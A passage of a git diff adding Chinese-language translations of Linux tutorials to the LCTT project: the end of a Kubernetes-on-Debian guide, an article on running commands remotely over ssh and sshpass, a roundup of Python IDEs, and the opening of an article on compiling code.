+![Install-calico-pod-network-addon-debian11][6] + +在所有节点上执行以下命令,配置防火墙允许 Calico 的端口: + +``` +$ sudo ufw allow 179/tcp +$ sudo ufw allow 4789/udp +$ sudo ufw allow 51820/udp +$ sudo ufw allow 51821/udp +$ sudo ufw allow 4789/udp +$ sudo ufw reload +``` + +执行以下命令检查下 Calico 的状态: + +``` +$ kubectl get pods -n kube-system +``` + +![Calico-Pods-Status-Kuberenetes-Debian11][7] + +完美!现在再检查下节点状态: + +![Nodes-status-after-calico-Installation][8] + +非常棒!上面的输出说明主控节点和工作节点的状态都是 `ready`。现在这个集群可以正常工作了。 + +### 9、检查 Kubernetes 集群安装是否正确 + +我们尝试通过 `deployment` 命令来部署基于 Nginx 的应用程序,来验证 Kubernetes 集群的安装是否正确。执行以下命令: + +``` +$ kubectl create deployment nginx-app --image=nginx --replicas 2 +$ kubectl expose deployment nginx-app --name=nginx-web-svc --type NodePort --port 80 --target-port 80 +$ kubectl describe svc nginx-web-svc +``` + +以上命令的输出: + +![Nginx-Based-App-Kubernetes-Cluster-Debian11][9] + +使用以下的 `curl` 命令通过节点端口 30036 来访问基于 nginx 的应用程序。 + +注意:在 `curl` 命令中,可以使用两个工作节点任一的主机名。 + +``` +$ curl http://k8s-worker1:30036 +``` + +![Access-Nginx-Based-App-via-NodePort-Kubernetes-Debian11][10] + +以上的输出说明我们可以正常访问基于 nginx 的应用程序了。 + +以上为全部内容。希望本文对你有用,参照本文可以在 Debian 11 上正常安装 Kubernetes 集群。如有任何问题,请在下面评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/install-kubernetes-cluster-on-debian/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/09/systemdCgroup-true-containerd-config-toml.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Kubernetes-Control-Plane-Initialization-Debian11.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nodes-Cluster-Info-Kubectl.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Worker-Node1-Join-Kunernetes-Cluster.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Worker-Node2-Join-Kubernetes-Cluster.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Install-calico-pod-network-addon-debian11.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Calico-Pods-Status-Kuberenetes-Debian11.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nodes-status-after-calico-Installation.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Nginx-Based-App-Kubernetes-Cluster-Debian11.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/09/Access-Nginx-Based-App-via-NodePort-Kubernetes-Debian11.png +[0]: https://img.linux.net.cn/data/attachment/album/202211/30/091928zlxbvttw58x6rztw.jpg \ No newline at end of file diff --git a/published/202211/20220929 Execute Commands On Remote Linux Systems Via SSH.md b/published/202211/20220929 Execute Commands On Remote Linux Systems Via SSH.md new file mode 100644 index 0000000000..7a457748e9 --- /dev/null +++ b/published/202211/20220929 Execute Commands On Remote Linux Systems Via SSH.md @@ -0,0 +1,354 @@ +[#]: subject: "Execute Commands On Remote Linux Systems Via SSH" +[#]: via: "https://ostechnix.com/execute-commands-on-remote-linux-systems-via-ssh/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15263-1.html" + +通过 SSH 在远程 Linux 系统上执行命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/17/163910g9u42ssfcuk9c290.jpg) + +> 通过安全的网络连接在远程计算机上调用命令或程序。 + +有一天,我正在测试如何在 [将文件或目录复制到多个位置和系统时保持完整的文件权限][1]。当我想检查远程系统上的文件权限时,我必须通过 SSH 登录它并检查属性。从远程系统多次登录和注销的过程让我有点烦,我想,如果我可以**在远程 Linux 系统上通过 SSH 执行命令**就好了。 + +幸运的是,在浏览了 `ssh` 命令的手册页后,我找到了一个解决办法。 + +如果你想知道如何本地运行远程系统上运行命令或脚本,而不登录到远程系统,下面的内容会告诉你如何做。 + +### 1、通过 SSH 在远程 Linux 系统上执行命令 + +从本地系统通过 SSH 在远程系统上运行命令或脚本的典型方法是: + +``` +$ ssh +``` + +允许我给你们举几个例子: + +#### 1.1、通过 SSH 在远程系统上运行单个命令 + +假设你想要 [查找远程 Linux 系统的内核详细信息][2]。为此,只需运行: + +``` +$ ssh sk@192.168.225.22 uname -a +``` + +这里, + +* `sk` 是远程系统的用户名, +* `192.168.225.22` 是远程系统的 IP 地址, +* `uname -a` 是我想在远程系统上运行的命令。 + +示例输出: + +![通过 SSH 在远程 Linux 系统上执行命令][3] + +看到没?我并没有实际登录到远程系统,但通过 SSH 在远程系统上执行了 `uname` 命令,并在本地系统的终端上显示了输出。 + +你还可以像下面这样用引号指定命令。 + +``` +$ ssh sk@192.168.225.22 "uname -a" +``` + +或者, + +``` +$ ssh sk@192.168.225.22 'uname -a' +``` + +如果你已经 [更改了 SSH 协议的默认端口][4],只需使用 `-p` 参数指定它。 + +``` +$ ssh -p 2200 sk@192.168.225.22 uname -a +``` + +#### 1.2、通过 SSH 在远程主机上执行多个命令 + +你还可以在远程主机上运行多个命令,方法是将它们放在引号中。 + +``` +$ ssh sk@192.168.225.22 "uname -r && lsb_release -a" +``` + +或者: + +``` +$ ssh sk@192.168.225.22 "uname -r ; lsb_release -a" +``` + +上面的命令将显示我的 Ubuntu 服务器的内核版本和发行版详细信息。 + +示例输出: + +![在 Linux 上通过 SSH 在远程主机上运行多个命令][5] + +正如一位读者在下面的评论部分提到的那样,你应该用引号指定多个命令。如果不使用引号,第一个命令将在远程系统上执行,第二个命令将仅在本地计算机上执行。整个带引号的命令将按预期在远程计算机上运行。 + +> **提示:** 了解 `&&` 和 `;` 在命令中的区别: +> +> `&&` 操作符只有在第一个命令成功时才执行第二个命令。 +> +> 示例: +> +> ``` +> sudo apt-get update && sudo apt-get upgrade +> ``` +> +> 在上述示例中,如果第一个命令成功,才会执行 `sudo apt-get upgrade`。否则,它将不会运行。 +> +> `;` 操作符会执行第二个命令,无论第一个命令是成功还是失败。 +> +> 示例: +> +> ``` +> sudo apt-get update ; sudo apt-get upgrade +> ``` +> +> 在上述示例中,即使第一个命令失败,`sudo apt-get upgrade` 也会执行。 + +#### 1.3、通过 SSH 在远程机器上调用有 sudo 权限的命令 + +有些命令需要 `sudo` 权限才能运行。例如,以下命令将在我的远程系统上安装 `apache2`。 + +``` +$ ssh -t sk@192.168.225.22 sudo apt install apache2 +``` + +示例输出: + +![通过 SSH 在远程机器上运行有 Sudo 权限的命令][6] + +注意到了吗?我在上面的命令中使用了 `-t` 标志,我们需要使用它来强制进行伪终端分配。它用于在远程机器上执行任意基于屏幕的程序,这非常有用。例如,在实现菜单服务时。 + +另外,我输入了**两次**密码。第一次是远程用户的密码,以便从本地系统通过 SSH 访问远程系统,第二次是为了向远程用户赋予 sudo 权限,以便安装应用程序(在本例中为 apache2)。 + +让我们用以下命令检查 Apache 服务是否正在运行: + +``` +$ ssh -t sk@192.168.225.22 sudo systemctl status apache2 +sk@192.168.225.22's password: +[sudo] password for sk: +● apache2.service - The Apache HTTP Server +Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled) +Drop-In: /lib/systemd/system/apache2.service.d +└─apache2-systemd.conf +Active: active (running) since Thu 2019-12-19 11:08:03 UTC; 52s ago +Main PID: 5251 (apache2) +Tasks: 55 (limit: 2318) +CGroup: /system.slice/apache2.service +├─5251 /usr/sbin/apache2 -k start +├─5253 /usr/sbin/apache2 -k start +└─5254 /usr/sbin/apache2 -k start + +Dec 19 11:08:03 ubuntuserver systemd[1]: Starting The Apache HTTP Server... +Dec 19 11:08:03 ubuntuserver apachectl[5227]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 2409:4072:51f:a1b6:a00:27ff:f +Dec 19 11:08:03 ubuntuserver systemd[1]: Started The Apache HTTP Server. +``` + +同样的,我们可以通过 SSH 在本地系统上运行远程系统上的任何命令或脚本。 + +#### 1.4、通过 SSH 在远程系统上运行本地脚本 + +让我们在本地系统上创建一个简单的脚本来显示关于远程系统的发行版名称、包管理和基本细节等。 + +``` +$ vi system_information.sh +``` + +添加以下行: + +``` +#!/bin/bash +#Name: Display System Details +#Owner: OSTechNIx +#---------------------------- +echo /etc/*_ver* /etc/*-rel*; cat /etc/*_ver* /etc/*-rel* +``` + +按下 `ESC` 键,输入 `:wq` 保存退出。 + +现在,通过 SSH 命令在远程系统上运行这个脚本: + +``` +$ ssh sk@192.168.225.22 'bash -s' < system_information.sh +``` + +示例输出: + +``` +sk@192.168.225.22's password: +/etc/debian_version /etc/lsb-release /etc/os-release +buster/sid +DISTRIB_ID=Ubuntu +DISTRIB_RELEASE=18.04 +DISTRIB_CODENAME=bionic +DISTRIB_DESCRIPTION="Ubuntu 18.04.2 LTS" +NAME="Ubuntu" +VERSION="18.04.2 LTS (Bionic Beaver)" +ID=ubuntu +ID_LIKE=debian +PRETTY_NAME="Ubuntu 18.04.2 LTS" +VERSION_ID="18.04" +HOME_URL="https://www.ubuntu.com/" +SUPPORT_URL="https://help.ubuntu.com/" +BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" +PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" +VERSION_CODENAME=bionic +UBUNTU_CODENAME=bionic +``` + +如果你没有在上面的命令中指定 `bash -s`,你将获得远程系统的详细信息,但伪终端不会被分配。 + +#### 1.5、将远程主机的命令输出保存到本地主机 + +如果你希望与支持团队或同事共享远程系统上运行的命令输出,那么这非常有用。 + +以下命令将通过 SSH 在远程系统运行 `du -ah`,并将输出保存在本地系统的 `diskusage.txt` 文件中。 + +``` +$ ssh sk@192.168.225.22 du -ah > diskusage.txt +``` + +然后,你可以通过使用 `cat` 命令或文本编辑器查看 `diskusage.txt` 文件来分析磁盘使用细节。 + +``` +$ cat diskusage.txt +4.0K ./.profile +4.0K ./.gnupg/private-keys-v1.d +8.0K ./.gnupg +76K ./data/image.jpg +128K ./data/file.pdf +20K ./data/text.docx +5.9M ./data/audio.mp3 +6.1M ./data +0 ./.sudo_as_admin_successful +4.0K ./pacman?inline=false +4.0K ./.bash_logout +4.0K ./.wget-hsts +4.0K ./.bash_history +0 ./.cache/motd.legal-displayed +4.0K ./.cache +4.0K ./deb-pacman_1.0-0.deb +4.0K ./.bashrc +6.2M . +``` + +#### 1.6、配置 SSH 密钥认证,避免输入密码 + +如果你经常在远程系统上运行命令,你可能需要配置基于 SSH 密钥的身份验证,以便每次跳过密码输入。更多细节可以在以下链接中找到。 + +> **[Linux 系统下如何配置 SSH 密钥认证][7]** + +配置了基于 SSH 密钥的认证后,我们可以通过 SSH 在远程机器上执行命令,从而不需要输入密码: + +``` +$ ssh sk@192.168.225.22 sudo apt update +``` + +### 2、通过 sshpass 在远程机器上运行命令 + +如果你不想配置基于 SSH 密钥的身份验证,你可以使用 `sshpass` 实用程序。 + +#### 2.1、什么是 sshpass? + +`sshpass` 是为使用键盘交互密码身份验证模式运行 ssh 而设计的,但它以非交互的方式。简单来说,`sshpass` 提供了非交互式的方式来验证 SSH 会话。 + +SSH 使用直接 TTY 访问来确保密码确实是由交互式键盘用户发出的。`sshpass` 在一个专用 tty 中运行 SSH,让它误以为从交互用户那里获得了密码。 + +#### 2.2、在 Linux 中安装 sshpass + +在许多 Linux 发行版的默认仓库中都有 `sshpass` 实用程序。例如,在 Debian、Ubuntu 及其衍生版本中,你可以使用下面的命令来安装 `sshpass`: + +``` +$ sudo apt install sshpass +``` + +#### 2.3、通过 SSH 和 sshpass 在远程机器上执行命令 + +`sshpass` 可以通过参数接受密码,或者通过环境变量读取密码,也可以从文本文件中读取密码。 + +**警告:** 所有这些方法都是 **高度不安全的**。所有系统用户都可以通过 `ps` 命令看到命令中的密码。**不建议**在生产中使用这些方法。最好使用基于密钥的身份验证。 + +让我们看看每种方法的示例。 + +##### 将密码作为参数提供 + +将密码作为参数提供,使用 `-p` 选项,如下所示: + +``` +$ sshpass -p ssh remoteuser@ip-address +``` + +示例输出: + +``` +$ sshpass -p ubuntu ssh ostechnix@192.168.1.30 uname -a +``` + +其中, + +* `-p ubuntu` - 提供远程系统的密码。 +* `ostechnix@192.168.1.30` - 远程系统用户名和地址。 +* `uname -a` - 要在远程计算机上执行的命令。 + +示例输出: + +``` +Linux Ubuntu22CT 5.15.60-1-pve #1 SMP PVE 5.15.60-1 (Mon, 19 Sep 2022 17:53:17 +0200) x86_64 x86_64 x86_64 GNU/Linux +``` + +##### 密码作为环境变量提供 + +在这个方法中,我们声明一个名为 `SSHPASS` 的环境变量,用远程环境的密码作为其值。然后我们使用 `-e` 标志,如下所示: + +``` +$ SSHPASS=ubuntu sshpass -e ssh ostechnix@192.168.1.30 uname -a +``` + +##### 从文本文件中读取密码 + +使用 `echo` 命令在文本文件中追加密码: + +``` +$ echo "ubuntu" > mypassword.txt +``` + +现在,将密码文件传递给带有 `-f` 标志的 `sshpass`,如下所示: + +``` +$ sshpass -f mypassword.txt ssh ostechnix@192.168.1.30 uname -a +``` + +![通过 SSH 和 sshpass 在远程机器上执行命令][8] + +### 总结 + +在本教程中,我们学习了一些通过安全的网络连接在远程计算机上调用命令或程序的方法。在所有的方法中,`sshpass` 方法是最不安全的,建议用户避免在生产系统中使用它。 + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/execute-commands-on-remote-linux-systems-via-ssh/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/how-to-keep-ownership-and-file-permissions-intact-when-copying-files-or-directories/ +[2]: https://ostechnix.com/find-out-the-linux-distribution-name-version-and-kernel-details/ +[3]: https://ostechnix.com/wp-content/uploads/2019/12/Execute-Commands-On-Remote-Linux-Systems-Via-SSH.gif +[4]: https://ostechnix.com/how-to-change-apache-ftp-and-ssh-default-port-to-a-custom-port-part-3/ +[5]: https://ostechnix.com/wp-content/uploads/2019/12/Run-multiple-commands-on-remote-systems-via-SSH-on-Linux.png +[6]: https://ostechnix.com/wp-content/uploads/2019/12/Run-commands-with-sudo-privileges-on-remote-systems-via-SSH.png +[7]: https://ostechnix.com/configure-ssh-key-based-authentication-linux/ +[8]: https://ostechnix.com/wp-content/uploads/2022/09/Execute-Commands-On-Remote-Machines-Over-SSH-With-sshpass.png diff --git a/published/202211/20221004 5 Best Python IDE-s- and Code Editor-s-.md b/published/202211/20221004 5 Best Python IDE-s- and Code Editor-s-.md new file mode 100644 index 0000000000..edd7c987d6 --- /dev/null +++ b/published/202211/20221004 5 Best Python IDE-s- and Code Editor-s-.md @@ -0,0 +1,247 @@ +[#]: subject: "5 Best Python IDE(s) and Code Editor(s)" +[#]: via: "https://www.debugpoint.com/5-best-python-ide-code-editor/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15288-1.html" + +6 个最好的 Python IDE 和代码编辑器 +====== + +![][0] + +> 我们列出了 2022 年适用于 Linux 和 Windows 的六个最佳 Python 代码编辑器。 + +如今,[Python][1] 无处不在,它可以说是现代版的 C 语言编程语言。从网站、应用程序、数据科学项目、人工智能到物联网设备,你可以发现 Python 无处不在。因此,作为这十年来流行的编程语言,了解 Python 的开发环境是很有必要的,开发人员用它创建应用程序,特别是如果你是刚刚开始学习 Python 编程,更需要了解 Python 开发环境。 + +许多 Python 开发环境都提供了可以满足你需求的功能和工具。其中有些环境对学习 Python 的初学者很有用,而另外一些用户则适用于重型 Python 开发和复杂的设置。在这里,在这篇文章中,我将谈一谈其中最好的几个,这将有助于你根据自己的需要和使用情况选择一个。 + +### 最好的 Python 编码编辑器 + +这个榜单上有以下几个编辑器: + +1. Visual Studio Code +2. Eclipse +3. PyCharm +4. Spyder +5. Sublime Text +6. Thonny + +#### 1、Visual Studio Code + +![Visual Studio Code][46] + +尽管它是微软创造的,但 Visual Studio Code 是最好的代码编辑器之一。不仅是 Python,对于所有流行和趋势的编程语言都是。 + +它具有语法高亮、代码补完、调试、代码片段、内置 Git 等诸如此类的功能。对于新手来说,它有点复杂,但也只需几个小时就能学会。 + +然而,它是用 Electron 框架构建的,可能会感觉稍微慢一些。但在高端的开发硬件下这不是问题。它是一个自由开源的应用程序,适用于 Linux、macOS 和 Windows。 + +以下是适用于 Ubuntu、Fedora 和相关发行版的单个 deb 和 RPM 包: + +> **[下载 VS Code][47]** + +你也可以为 Flatpak 设置你的系统,并从终端运行以下命令,在所有 Linux 发行版上安装它。 + +``` +flatpak install flathub com.visualstudio.code +``` + +#### 2、带有 PyDev 的 Eclipse + +![Eclipse 编辑器][2] + +[Eclipse][3] 是一个由 IBM 开发的自由开源的 IDE。这个完备的 IDE 可用于 Java 和 Android 开发。然而,它也支持许多其他编程语言,包括 Python。你可以将 Eclipse 与流行的 PyDev 插件一起使用,它可以将 Eclipse 转换成一个完整的 Python 开发环境。通过将 PyDev 集成在 Eclipse 中,你可以进行编译、代码分析、实时调试、交互式控制台访问,以及更多的功能。 + +优势: + +* 丰富的功能和完整的 Python 开发 IDE。 + +劣势: + +* 对系统性能有很大影响。 +* 针对高级用户。 + +安装和更多信息: + +* 平台:Linux、Mac 和 Windows +* 类型:集成开发环境 +* 价格:免费 +* 源代码:开源 +* 官方下载链接:[PyDev][4]、[Eclipse][5] +* 官方网站:[Eclipse][6]、[PyDev 插件][7] +* Flatpak:[Eclipse for Java 通过 Flathub 以 Flatpak 的形式提供][8],你可以在 [设置 Flatpak][9] 之后尝试这个版本 + +#### 3、PyCharm 编辑器 + +![PyCharm 编辑器][14] + +由 JetBrains 开发的 [PyCharm][15] 提供了智能代码补完、代码检查、即时错误高亮、快速修复、自动代码重构和丰富的导航功能。 + +PyCharm 开箱即用的大量工具包括:集成的调试器和测试运行器;Python 剖析器;内置终端;与主要版本控制系统和内置数据库工具的集成;借助远程解释器提供的远程开发能力;集成 SSH 终端;以及与 Docker 和 Vagrant 的集成。 + +除了 Python,PyCharm 还为各种 Python 网页开发框架、特定模板语言、JavaScript、CoffeeScript、TypeScript、HTML/CSS、AngularJS、Node.js 等提供了一流的支持。 + +PyCharm 有两个版本的安装程序:专业版和社区版。社区版是自由开源的。专业版不是免费的,因为它带有专业工具和广泛的支持。专业版有一个不到 10 美元的月度订阅版本,供个人使用。 + +然而,如果你是一个初学者,你可以从 PyCharm 免费的社区版开始。 + +它适用于科学和网页 Python 开发。具有 HTML、JS 和 SQL 支持。 + +优势: + +* 为专业人士提供先进的现代编辑功能,有助于快速开发。 + +劣势: + +* 大多数专业工具都在付费版本中提供(个人使用时每月约 8 至 10 美元)。 + +安装和其他信息: + +* 平台:Linux、Mac 和 Windows +* 类型:IDE +* 价格:免费(社区版)和付费(专业版) +* 源代码:开源(社区版) +* [官方下载链接][16] +* Flatpak:你可以在 [为 Flatpak 设置你的 Linux 系统][18] 之后安装 [Flathub 提供的社区版本][17] + +#### 4、Spyder 编辑器 + +![Spyder Editor][23] + +[Spyder][24] 是一个强大的 Python 编辑器,是用 Python 编写的。它是为科学家、工程师和数据科学家所设计的。它将综合开发工具的高级编辑、分析、调试和剖析功能与科学软件包的数据探索、交互式执行、深度检查和漂亮的可视化功能独特地结合起来。 + +优势: + +* 轻量级和免费 + +劣势: + +* 你必须把它作为 Anaconda 软件包的一部分来下载。没有独立的安装程序。 + +安装和其他说明: + +* 平台:Anaconda +* 类型:IDE +* 价格:免费 +* 源代码:开源 +* [官方下载链接][25] +* [官方网站][26] + +#### 5、Sublime Text + +![Sublime Text][27] + +[Sublime Text][28] 是一个支持 Python 编程的复杂的代码编辑器。它是一个跨平台的工具,原生支持许多编程语言。你可以使用插件来扩展其特性和功能。Sublime Text 带有提高生产力的功能,如 “Goto anything”,可以同时对文件的多个部分进行修改。 + +优点: + +* 轻量级、免费、可用于 Windows、Mac 和 Linux。 + +缺点: + +* 它是免费评估的,但你必须购买一个许可证来进行高级使用。(LCTT 译注:但可以一直免费评估,而不限制时间,只是会时不时提醒) + +其他信息和安装: + +* 平台:Windows、Linux、OS X +* 类型:IDE +* 价格:免费,但必须购买许可证才能继续使用 +* 源代码:闭源 +* [官方下载链接][29] +* [官方网站][30] +* Flatpak:Sublime Text 可以通过 [Flathub 以 Flatpak 软件包][31] 获得。设置你的 [Linux 上的 Flatpak][32],然后安装它。 + +#### 6、Thonny Python 编辑器 + +![Thonny 编辑器][37] + +[Thonny][38] 是一个面向初学者的 Python IDE,使用起来很简单。它内置了最新的 Python(截至本文撰写时为 3.7+),所以你不需要在你的操作系统中单独安装 Python。用户界面毫不杂乱,对初学者来说没有任何干扰。Thonny 的其他一些显著特点包括:变量视图、简单调试器、单步调试和语法错误。 + +优点: + +* 轻量级、免费,可用于 Windows、Mac 和 Linux。 +* 非常适合 Python 的绝对初学者(甚至是编码的初学者)。 + +缺点: + +* 由于它是一个初学者的 IDE,所以只有基本的功能。 + +安装和其他信息: + +* 平台:Windows、Linux 和 Mac +* 类型:IDE +* 价格:免费 +* 源代码:开源 +* [官方下载链接][39] +* Flatpak:它通过 [Flathub 以 Flatpak][40] 的形式提供。设置你的 [Linux 系统安装 Flatpak][41],然后去安装它。 + +--- + +有很多 Python 编辑器可用,这些是用于编码的六个最好的 Python 编辑器。你可以尝试其他值得注意的 Python 编辑器:VIM、IDLE(默认 Python 自带)、Cloud 9 和 Emacs。 + +🗨️ 你最喜欢哪个编辑器?请在下面的评论区告诉我们。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/5-best-python-ide-code-editor/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.python.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2020/06/Eclipse-Editor.png +[3]: https://www.eclipse.org/ +[4]: https://www.pydev.org/ +[5]: https://www.eclipse.org/ +[6]: https://www.eclipse.org/ +[7]: https://www.pydev.org/ +[8]: https://flathub.org/apps/details/org.eclipse.Java +[9]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[10]: https://flathub.org/apps/details/org.eclipse.Java +[11]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[12]: https://flathub.org/apps/details/org.eclipse.Java +[13]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[14]: https://www.debugpoint.com/wp-content/uploads/2020/06/PyCharm-Editor.png +[15]: https://www.jetbrains.com/pycharm/ +[16]: https://www.jetbrains.com/pycharm/download/ +[17]: https://flathub.org/apps/details/com.jetbrains.PyCharm-Community +[18]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[19]: https://flathub.org/apps/details/com.jetbrains.PyCharm-Community +[20]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[21]: https://flathub.org/apps/details/com.jetbrains.PyCharm-Community +[22]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[23]: https://www.debugpoint.com/wp-content/uploads/2020/06/Spyder-Editor.png +[24]: https://www.spyder-ide.org/ +[25]: https://www.anaconda.com/download/ +[26]: https://www.spyder-ide.org/ +[27]: https://www.debugpoint.com/wp-content/uploads/2020/06/Sublime-Text-Editor.png +[28]: https://www.sublimetext.com/ +[29]: https://www.sublimetext.com/3 +[30]: https://www.sublimetext.com/ +[31]: https://flathub.org/apps/details/com.sublimetext.three +[32]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[33]: https://flathub.org/apps/details/com.sublimetext.three +[34]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[35]: https://flathub.org/apps/details/com.sublimetext.three +[36]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[37]: https://www.debugpoint.com/wp-content/uploads/2020/06/Thonny-Editor.png +[38]: https://thonny.org/ +[39]: https://thonny.org/ +[40]: https://flathub.org/apps/details/org.thonny.Thonny +[41]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[42]: https://flathub.org/apps/details/org.thonny.Thonny +[43]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[44]: https://flathub.org/apps/details/org.thonny.Thonny +[45]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[46]: https://www.debugpoint.com/wp-content/uploads/2022/10/Visual-Studio-Code.jpg +[47]: https://code.visualstudio.com/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/25/114333wj3t354qjhrggrvw.jpg \ No newline at end of file diff --git a/published/202211/20221013 What you need to know about compiling code.md b/published/202211/20221013 What you need to know about compiling code.md new file mode 100644 index 0000000000..88ca0a42d1 --- /dev/null +++ b/published/202211/20221013 What you need to know about compiling code.md @@ -0,0 +1,103 @@ +[#]: subject: "What you need to know about compiling code" +[#]: via: "https://opensource.com/article/22/10/compiling-code" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15213-1.html" + +关于编译代码你应该知道的 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/04/054126nec50keexencosc4.jpg) + +> 用这个方便的捕鼠器比喻来理解编译代码。 + +源代码必须要经过编译才能够运行程序,而对于开源软件,每个人都可以获取源代码。无论你是自己编写了代码,想要编译和运行它,还是下载了某人的项目来尝试它,了解如何通过 [编译器][2] 处理源代码,以及编译器如何处理这些代码,这都很有用。 + +### 创建一个更好的捕鼠器 + +一般情况我们不会将一个捕鼠器比作电脑,但不管你信不信,它确实与你正在使用的设备(手机或电脑)的 CPU 有一些相似之处。经典的捕鼠器(我说的不是 🐈)有两种状态:打开或者释放。你可以认为 *打开* 是将捕鼠器设置好准备捕获老鼠,以及 *释放* 是捕鼠器被老鼠触发。某种意义上来说,捕鼠器就像是一台有鼠标的电脑。你可以想象一下这个代码,用一种虚构的语言来描述这个过程: + +``` +if mousetrap == 0 then + There's a mouse! +else + There's no mouse yet. +end +``` + +换句话说,你可以基于捕鼠器的状态发现是否有老鼠(数据)。当然,捕鼠器不是万无一失的,有可能有一只老鼠在捕鼠器旁边,由于老鼠还没有触发捕鼠器,所以它的状态还是 *打开* 的。因此该程序可以进行改进,这都是非常典型的。 + +### 开关 + +总的来说,捕鼠器就是一个开关。你会在家里使用开关打开灯。可以从开关中获得许多信息。比如,人们会从你家灯的状态了解到你是否在家。 + +你可以根据邻居家灯的状态来改变行为。如果邻居家所有的灯都熄灭了,那么请关掉你大声的音乐,因为人们可能已经上床睡觉了。 + +CPU 也使用这样的逻辑,只不过乘以几个数量级,缩小到了微观级别。当 CPU 在特定寄存器上接收到电信号时,可以触发其他一些寄存器,然后触发另一个,以此类推。如果这些寄存器有特定的意义,那么就可以通信。也许激活同一主板上某处的芯片,或者使 LED 亮起,或者改变屏幕上的像素颜色。 + +种瓜得瓜,种豆得豆。如果你真的想在多个位置而不是仅限于一处发现老鼠,但是你只有一个捕鼠器,那你应该开发一个应用才行。使用网络摄像头和一些基本的图像识别软件,你可以建立空厨房的模型,然后扫描变化。当老鼠进入厨房,在原先没有老鼠的图像上会有像素的变化。记录下这些数据,如果有无人机可以追踪老鼠并捕获会更好,这样就可以将老鼠赶出厨房了。这时,你通过打开和关闭信号的魔法,创造了一个更好的捕鼠器。 + +### 编译器 + +代码编译器将人们可阅读的代码转换成 CPU 可以理解的机器语言。这是非常复杂的过程,因为 CPU 非常复杂(甚至比捕鼠器更加复杂),同时因为该过程比严格“需要”的更加灵活。并不是所有的编译器都很灵活。有一些编译器只有一个目标,它们只会处理特定格式的代码文件,处理过程也因此而简单明了。 + +幸运的是,现代的通用编译器并不简单。它们允许你编写不同语言的代码,也允许你用不同的方式链接库文件,并且可以生成运行在不同架构上的文件。[GNU 编译器集合][4](GCC)的 `gcc` 编译器 `--help` 会输出超过 50 行的选项,LLVM 的 `clang` 编译器的 `--help` 输出超过 1000 行。GCC 指导手册的字数超过 10 万。 + +当你在编译代码时会有很多选项。 + +当然,大多数人并不需要知道所有的选项。我从未读过 GCC 的手册页,因为它们是针对 Objective-C、Fortran 以及我从未听说过的芯片架构的。不过我重视它将代码编译为不同的架构 —— 64 位或者 32 位 —— 的能力,以及在其他行业已经落后的计算机上运行开源软件的能力。 + +### 编译生命周期 + +同样重要的是,理解编译代码的不同阶段。这是一个简单的 C 语言程序的生命周期: + +1. 带有宏定义的 C 源代码 `.c` 文件,用 `cpp` 预处理为 `.i` 文件。 +2. 扩展了宏定义的 C 源代码 `.i` 文件,会被 `gcc` 转译成 `.s` 文件。 +3. 以汇编语言写的文本文件 `.s` 